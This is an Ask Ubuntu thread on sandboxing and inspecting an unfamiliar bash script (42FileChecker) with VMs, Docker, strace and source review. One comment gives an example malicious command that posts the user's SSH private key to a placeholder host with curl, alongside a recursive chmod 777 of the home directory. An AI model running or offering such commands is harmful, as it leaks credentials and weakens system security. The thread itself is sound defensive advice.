I'd like to install a certain bash script called 42FileChecker using the commands:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

But I don't know if 42FileChecker.sh will do any strange things on my PC because I'm a beginner and don't know what is happening in that script. Is there a way to run it in a dummy terminal or dummy root folder or something like that to see what happens so that I avoid something crazy like formatting of my drives. I'd like to know of any way to test shells for future shell scripts also, even if 42FileChecker.sh is safe.

  • 5
    Since it's a script, you can read it, and read the man pages on the commands contained in it.
    – waltinator
    Commented May 6, 2019 at 22:00
  • 1
    Note that since the code is hosted on Git, you can read through the source of the tool. If code review isn't your thing, doing some sort of "dynamic" analysis by running it in a safe environment (sandbox, VM) is your next best bet
    – BlueCacti
    Commented May 7, 2019 at 7:22
  • 4
    @waltinator If you're concerned about malicious behavior, rather than merely unintended behavior, reading the man pages won't help.
    – Ray
    Commented May 8, 2019 at 4:04
  • 1
    @Ray, only if the commands being run are themselves malicious, so their man pages would conceal their true effects. I think waltinator was referring to the more probable case of malicious use of standard commands, e.g. chmod 777 -R ~ or curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa or similar.
    – Wildcard
    Commented May 8, 2019 at 21:02
  • 1
    Related. You could test scripts without risking any harm to your computer and it would teach your colleagues to lock their sessions. Commented May 9, 2019 at 10:35

7 Answers 7


If you're not sure what a script does, you're better off not running it until you are sure what it does. Ways to reduce the damage radius of a bad script include running it using a new user, running it in a container, or running it in a virtual machine. But that first statement still holds: If you're not sure what something does, consider not running it until you do.

  • 6
    On the other hand scripts are like EULAs: Yes, you should read and understand every single line before you sell your soul, but do you? Commented May 8, 2019 at 14:03
  • 7
    @PeterA.Schneider, but EULA's don't really do anything until taken to court. Running a script has an immediate effect on your computer. It's not so much about reading every line; it's more about "Reflections on Trusting Trust" and knowing and trusting the source of the script.
    – Wildcard
    Commented May 8, 2019 at 21:04

As @ctt said, it's probably a good idea to run it in a sandbox of some kind first. Using a VM is probably the easiest solution. Multipass is pretty simple.

Install multipass (assuming you haven't already):

sudo snap install multipass --beta --classic

Spin up a new VM:

multipass launch --name myvm

Login to your new VM:

multipass shell myvm

Then run your script (inside your vm):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
  • 39
    This approach is not safe. After you've run the script in the sandbox, how are you going to tell whether it was safe? It might have harmful effects that you can't easily say. Malware doesn't necessarily pop up and say "Haha, got you!". Also, a malicious script could easily behave in a benign way while in a sandbox or VM and then behave maliciously on your real computer. (For instance, VM detection is a thing, as is machine fingerprinting.)
    – D.W.
    Commented May 7, 2019 at 15:27
  • 13
    This is a great point. If you want to inspect the script for malware, this is not an effective solution. This is a way of testing the functionality without polluting your host system. Commented May 7, 2019 at 16:21
  • You can do a full comparison with a "control" VM.
    – mckenzm
    Commented May 8, 2019 at 3:55
  • 6
    @mckenzm: But if it's malware, it's entirely possible that it would choose to do nothing until it finds itself with access to something that looks juicy. Commented May 8, 2019 at 17:03

As the school you are attending has published the scripts, the best place to voice your concerns is with your instructors.

That said we can help you decipher the code on a line by line basis. It is probably impractical for anyone here to analyze all the code.

You actually have 40 bash scripts with a total 5,360 lines. I've combined them together and looked for bash/shell commands that could be abused. They all appear to be used normally:

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

  • There is no rm -rf / command to wipe the whole hard disk partition.
  • There is no requirement that sudo be used to run the script.
  • The script actually makes sure only authorized C functions are used in the files checked.
  • A quick browse of the bash/shell code shows it is professionally written and easy to follow.
  • Using shellcheck on merged include files reveals only three syntax errors.
  • Author names are identified and the main author even has his picture on his github page.
  • Although there are no guarantees in life, 42FileChecker appears safe to use.

It's not human-readable bash scripts you need to worry about so much. It is compiled binary objects you cannot read that are cause for concern. For example a program called "shiny-bouncy-sphere" might paint something like that on your screen but in the background it could be erasing all your files.

Original answer

It is best to ask the author of the script what it does. Indeed you can almost post your question verbatim as it appears above.

Also ask the author:

  • What files are updated?
  • What happens if crash due to power failure or program bug?
  • Can a mini-backup be performed first?

And any other good questions you can think of.

Edit 1 - Worries about a malicious author.

You should only use software with lots of good public reviews. Alternately authors you trust here in Ask Ubuntu like Serge, Jacob, Colin King, etc. Other respected sites like Ask Ubuntu and their respected members should also be considered "non-malicious".

The advantage of "respected authors" here in Ask Ubuntu is they stake their self-worth on "reputation points". If they were to intentionally write code that "stole" or "damaged" data they would quickly loose their reputation. Indeed authors could suffer the "wrath of mods" and being suspended and/or having 10,000's of reputation points taken away.

Edit 2 - Don't follow all the instructions

I took a deeper look into your bash script instructions:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

The "safe" method is to only run the first line:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

This downloads the scripts but doesn't run them. Next use nautilus (file manager) to inspect the directories and files installed. Very quickly you discover there are a collection of bash scripts written by a group of students in France.

The purpose of the scripts is to compile and test C programs for improper functions and memory leaks.

  • 1
    I should yes, but I was thinking about situations where the author might be doing something malicious intentionally.
    – ntruter42
    Commented May 6, 2019 at 23:48
  • 1
    @nicholas I replied to your comment by revising the answer. Commented May 7, 2019 at 0:30
  • 2
    I'm learning C in the Ecole 42 course. The functions I'm making needs to run through this norme check. I need to install the 42FileChecker in Ubuntu to run this norme check. I guess I just have to trust this script for now but I needed to know how to do a "safe-run" of the script first because I'm not that great at doing man searches. Thanks for the help. I'll just run a VM next time.
    – ntruter42
    Commented May 7, 2019 at 4:59
  • 2
    @nicholas Line 24 of ~/42FileChecker/includes/display/display_credits.sh states norminette's work is a dependancy: norminette (42 born2code) http://www.42.fr. I read this last night and it's why I wrote it was a school (ecole) in France that published 42FileChecker. From what I've browsed of the code so far I wouldn't worry about running it. Plus it has very few syntax errors reported by shellcheck which is surprising in for a 5,360 line bash script. Many professionally published bash scripts have lots of syntax errors. Commented May 7, 2019 at 23:39
  • 2
    @nicholas From a security standpoint, using the environment and scripts provided for the class is probably the best approach. It also removes the possibility of different behavior than the official course version which might be a surprise at turn-in time. Are you sure that there is no remote access to this machine, possibly using a campus provided VPN service or SSH from another computer that you can remotely access? Commented May 8, 2019 at 1:51

I'm no expert at this, but I would recommend using strace and docker.

So first create a Docker container as by the instructions in this answer. But the addition being that strace will tell you what system calls are made. Or to quote:

strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state.

You can combine these commands to

docker exec -it ubuntu_container strace bash ./42FileChecker.sh
  • So this will go through each line of the script (step-by-step) and also do all of this inside a container, which means all the commands will do absolutely nothing to my system but will be run as usual. Am I understanding this correctly?
    – ntruter42
    Commented May 9, 2019 at 0:04
  • 1
    @nicholas yes the docker container is a seperate machine for your protection, the program is sandboxed. Strace will provide you with all operations the application does to that machine, from opening files to setting up network connections.
    – Thomas
    Commented May 9, 2019 at 7:52
  • 1
    Yes, that's exactly what I was looking for, Strace combined with Docker.
    – ntruter42
    Commented May 9, 2019 at 20:01

You can use Docker. Docker containers are isolated from the host OS, so any malicious activity will stay within a container, as long as you don't specifically let it out by forwarding ports or mounting filesystems.

To install docker:

sudo apt-get install docker.io

To download a new Ubuntu Bionic container:

docker pull ubuntu:bionic

After that, log into the container

docker run -it ubuntu:bionic

and perform the dodgy operation in it:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh
  • 1
    Another benefit of Docker that can be helpful in determining what a script does is that you can run docker diff to view which changes have been made to the filesystem since you launched the container. Downside of using Docker is that the container it's not a full copy of the host system. The Ubuntu image you mention here contains only a minimal Ubuntu installation. Commented May 8, 2019 at 7:44
  • 2
    Instead of docker run ubuntu you should run docker run -it ubuntu:bionic The -it gives you an interactive terminal in the container and the bionic actually runs the version you want instead of the default latest. Commented May 8, 2019 at 7:47
  • I like this answer the best of those that I have seen. However, it seem like the dodgy script could still abuse your system. It could secretly be mining bitcoins, etc. Ideally one could use additional flags possibly --memory, --network, and maybe others to really lock down the script.
    – emory
    Commented May 8, 2019 at 15:51
  • 1
    If you are really paranoid combine this answer with the second best answer. Run docker inside a virtual machine, and lock down everything.
    – emory
    Commented May 8, 2019 at 15:52

Consider using the debugging mode by running the script as:

$ bash -x scriptname

Further useful Bash information

The debugging mode will not stop the script from doing something bad, but it will let you go through the script line by line and examine the effects. You might also check the script for some common potential mistakes and/or exploits, e.g. search the scripts for any occurrence of rm and look at those commands very closely. Many of these tools have some help built in for trying them out, e.g. rm will not delete a directory by default, it needs the -r, -R, or --recursive option to do so.

There may even be some antivirus-like tools that would search a bash script for these patterns, but I'm not aware of any by name. Your example scripts are sort of extra iffy, in the sense that they download other tools, so each of those should also be examined. Checking which servers they contact may also be worthwhile.

  • -x can be used for debugging (and I use it!) but it won't let you step through a script line by line. It will give you a kind of "trace" as it executes the script at full speed.
    – jrw32982
    Commented May 9, 2019 at 22:43

The relevant information to provide an answer is unluckily only found in a comment of yours:

I'm learning C in the Ecole 42 course. The functions I'm making needs to run through this norme check. I need to install the 42FileChecker in Ubuntu to run this norme check.

So the situation is that in practice you have the option of skipping the course, or you can run the script to perform normative checks on your sources. Talking with your instructor is hardly an option, due to lack of the former (it wouldn't be an option otherwise anyway, no school is going to change their procedure because one student isn't happy with it).
The question what to do to limit possible damage from that script therefore doesn't even arise. It's not a random script that a horny girl with large breasts e-mailed to you, and which you need to run to see her picture.
You're doing a programming class. This is where this script came into play. The question is whether or not you want to comply with the frame conditions for successfully completing the course.

However, if you are truly worried, there's still the possibility of running the script in a container or a virtual machine, and put your sources in a shared folder, or onto a network share exposed by the container/virtual machine. That's pretty much going the full paranoia path, but then again virtualization isn't really all that complicated these days, so it doesn't cost an awful lot.

Barring the unlikely possibility of a really harsh exploit being contained in that script, logging in as any non-root user (which you have hardly a choice of doing otherwise on Ubuntu) and avoiding to type sudo for no obvious reason pretty much prevents 99% of all bad things that could possibly happen anyway. Such as formatting the harddisk, which you are worried about. A normal user just cannot do that. Worst thing to happen is the script erases the user's home directory. So what, no issue, really.

  • Hopefully OP comments here on if sudo is required to run script. +1 Commented May 8, 2019 at 15:10
  • Avoiding sudo only limits the scope of accidental deletion/formatting due to bugs. If the script was malicious or exploitable, running with sudo on a single user system makes no essential difference. Commented May 8, 2019 at 17:54
  • @WinEunuuchs2Unix I don't think sudo is necessary. I don't really know actually. Although I have been using sudo for apt install commands. Does that mean I need to use it to run a script also?
    – ntruter42
    Commented May 8, 2019 at 23:48
  • 1
    @nicholas I don't have any C programs to compile and test with 42FileChecker so I can't really say if sudo is needed or not. The bash script doesn't check for sudo and tell you to use it though. It would appear then that sudo isn't required. Once again I think asking your instructor (teacher) is the best policy. I've updated my answer an hour ago with a little analysis of the script. Notice the name "mynorminette" appeared again within the code. Commented May 8, 2019 at 23:52
  • 1
    @nicholas I bet some of the instructors personally know norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk and Jean-Michel Gigault who all contributed to 42FileChecker. I believe talking to the instructors will set your mind at ease. After a couple of hours investigating I have faith in the programmers and their creations. Jean-Michel Gigault even has his picture on github. Quite a testament of confidence in a land where Yellow Vest seeds are growing. Viva La France! (et Ecole 42 :)) Do us a favour and drop in to give progress updates. Commented May 9, 2019 at 0:57

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .